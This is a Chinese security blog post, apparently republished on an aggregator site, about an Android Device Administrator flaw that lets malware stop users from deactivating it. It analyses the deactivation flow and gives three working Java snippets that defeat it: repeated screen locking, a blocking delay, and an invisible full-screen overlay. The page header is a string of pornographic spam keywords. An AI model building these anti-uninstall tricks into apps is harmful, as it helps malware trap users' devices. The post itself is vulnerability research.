日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > Android >内容正文

Android

Android设备管理器漏洞2--阻止用户取消激活设备管理器

發布時間:2024/3/26 Android 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Android设备管理器漏洞2--阻止用户取消激活设备管理器 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

? ?2013年6月,俄羅斯安全廠商卡巴斯基發現了史上最強手機木馬-Obad.A,該木馬利用了一個未知的Android設備管理器漏洞(ANDROID-9067882),已激活設備管理器權限的手機木馬利用該漏洞,可以在設置程序的設備管理器列表中隱藏,這樣用戶就無法通過正常途徑取消該手機木馬的設備管理器權限,從而達到無法卸載的目的。Android4.2版本以上系統已經修復該漏洞。(漏洞詳情:http://blog.csdn.net/androidsecurity/article/details/9124747)


? ?日前,百度安全實驗室發現手機木馬開始利用另一新的Android設備管理器漏洞,新的設備管理器漏洞是由于Android系統在取消激活設備管理器流程的設計缺陷引起的,惡意軟件利用該設計缺陷,可以阻止用戶取消激活設備管理器,進而達到反卸載的目的。該漏洞存在于Android系統所有版本。


一、取消激活設備管理器源代碼分析


? ? ? Android取消激活設備管理器流程源代碼:


?

?

? ? ? Android取消激活設備管理器基本流程圖:


?


? ? ? ? 1、ActivityManagerNative.getDefault().stopAppSwitch()方法功能


? ? ? ? ? ? ?為什么第一步就調用該函數呢?通過源代碼注釋可以看出調用該函數目的是:禁止其它程序在用戶取消設備管理器操作過程彈出Dialog,影響用戶操作。


? ? ? ? stopAppSwitch()源代碼如下圖所示:


?


? ? ? ? ?通過代碼我們發現該方法的具體實現是:

? ? ? ? ? 規定在APP_SWITCH_DELAY_TIME時間內禁止進行Activity切換。該方法調用后,所有應用的Activity調用請求會被系統放到掛起的請求隊列中。被掛起的Activity調用請求會在APP_SWITCH_DELAY_TIME時間后才會被系統執行。

?

? ? ? ? 通過調用stopAppSwitch()方法,系統保證在進入取消設備管理器界面后,5秒內不會進行Activity的切換。

?

二、漏洞原理分析


? ? ? 通過以上流程我們發現,在第8步設備管理器調用

? ? ? DevicePolicyManagerService.removeActiveAdmin()取消激活設備管理器之前,DevicePolicyManagerService會調用應用的onDisableRequested方法獲取取消激活的警示信息。如果onDisableRequested函數返回內容為空的,第8步就會自動執行;如果onDisableRequested函數返回內容不能為空,會彈出Dialog顯示返回的警示信息,提示用戶是否取消激活。用戶點擊確認后才會執行第8步。


? ? ?如何阻止流程執行到第8步呢?

? ? ?onDisableRequested是唯一在流程第8步之前被調用的函數。為了阻止流程走到第8步,onDisableRequested函數滿足以下條件即可:

? ? 1、返回內容不能為空,這樣才可以使設備管理器彈出取消激活設備管理器警示信息??Dialog。

? ? 2、通過Activity切換的方式使設備管理器彈出的警示信息Dialog消失。使用戶無法操作Dialog。

? ? ?如果做到以上兩點,程序即可成功阻止用戶取消激活設備管理器操作。

?

三、漏洞利用方法


? ? ? 以下提出三種可以利用該流程設計缺陷,成功阻止用戶取消設備管理器的方法。


? ? ?1、通過鎖屏方式

??

[java]?view plaincopy
  • @Override??
  • public?CharSequence?onDisableRequested(Context?context,?Intent?intent)?{??
  • ????//?TODO?Auto-generated?method?stub??
  • ????????Intent?intent1?=?context.getPackageManager().getLaunchIntentForPackage("com.android.settings");??
  • ????????intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);??
  • ????context.startActivity(intent1);??
  • ???????final?DevicePolicyManager?dpm?=?(DevicePolicyManager)?context.getSystemService(Context.DEVICE_POLICY_SERVICE);??
  • ???????dpm.lockNow();??
  • ???????new?Thread(new?Runnable()?{????????????
  • ????????@Override??
  • ????????public?void?run()?{??
  • ????????????int?i?=?0;??
  • ????????????while(i<70){??
  • ????????????????dpm.lockNow();??
  • ????????????????try?{??
  • ????????????????????Thread.sleep(100);??
  • ????????????????????i++;??
  • ????????????????}?catch?(InterruptedException?e)?{??
  • ????????????????????e.printStackTrace();??
  • ????????????????}??
  • ????????????}??
  • ????????}??
  • ????}).start();??
  • ????return?"This?is?a?onDisableRequested?response?message";??
  • }??
  • ?

    ? ? ? 2、通過阻塞函數返回方式

    ?

    [java]?view plaincopy
  • @Override??
  • public?CharSequence?onDisableRequested(Context?context,?Intent?intent)?{??
  • ????//?TODO?Auto-generated?method?stub??
  • ????????Intent?intent1?=?context.getPackageManager().getLaunchIntentForPackage("com.android.settings");??
  • ????????intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);??
  • ????context.startActivity(intent1);??
  • ???????try?{??
  • ????????Thread.sleep(7000);??
  • ????}?catch?(InterruptedException?e)?{??
  • ????????e.printStackTrace();??
  • ????}??
  • ????return?"This?is?a?onDisableRequested?response?message";??
  • }??

  • ? ? 3、通過透明窗口劫持方式

    [java]?view plaincopy
  • @Override??
  • public?CharSequence?onDisableRequested(Context?context,?Intent?intent)?{??
  • ????//?TODO?Auto-generated?method?stub??
  • ????????Intent?intent1?=?context.getPackageManager().getLaunchIntentForPackage("com.android.settings");??
  • ????????intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);??
  • ????context.startActivity(intent1);??
  • ????WindowManager.LayoutParams?wmParams;??
  • ????final?WindowManager?mWindowManager;??
  • ????wmParams?=?new?WindowManager.LayoutParams();??
  • ????mWindowManager?=?(WindowManager)context.getSystemService(Context.WINDOW_SERVICE);??
  • ????wmParams.type?=?WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;???
  • ???????wmParams.format?=?PixelFormat.RGBX_8888;???
  • ???????wmParams.flags?=?WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;????????
  • ???????wmParams.gravity?=?Gravity.LEFT?|?Gravity.TOP;??
  • ???????wmParams.alpha?=?0;??
  • ???????wmParams.x?=?0;??
  • ???????wmParams.y?=?0;??
  • ???????wmParams.width?=?WindowManager.LayoutParams.MATCH_PARENT;??
  • ???????wmParams.height?=?WindowManager.LayoutParams.MATCH_PARENT;??
  • ???????final?View?contentView?=?new?Button(context);??
  • ???????mWindowManager.addView(contentView,?wmParams);??
  • ???????new?Thread(new?Runnable()?{????????????
  • ????????@Override??
  • ????????public?void?run()?{??
  • ????????????try?{??
  • ????????????????Thread.sleep(7000);??
  • ????????????}?catch?(InterruptedException?e)?{??
  • ????????????????//?TODO?Auto-generated?catch?block??
  • ????????????????e.printStackTrace();??
  • ????????????}??
  • ????????????mWindowManager.removeView(contentView);??
  • ????????}??
  • ????}).start();??
  • ????return?"This?is?a?onDisableRequested?response?message";??
  • }??

  • ? ?以上方法都會在onDisableRequested中,采用不同方式使用戶在5秒時間內無法操作界面。因為5秒后Activity切換請求才會被系統執行。

    總結

    以上是生活随笔為你收集整理的Android设备管理器漏洞2--阻止用户取消激活设备管理器的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。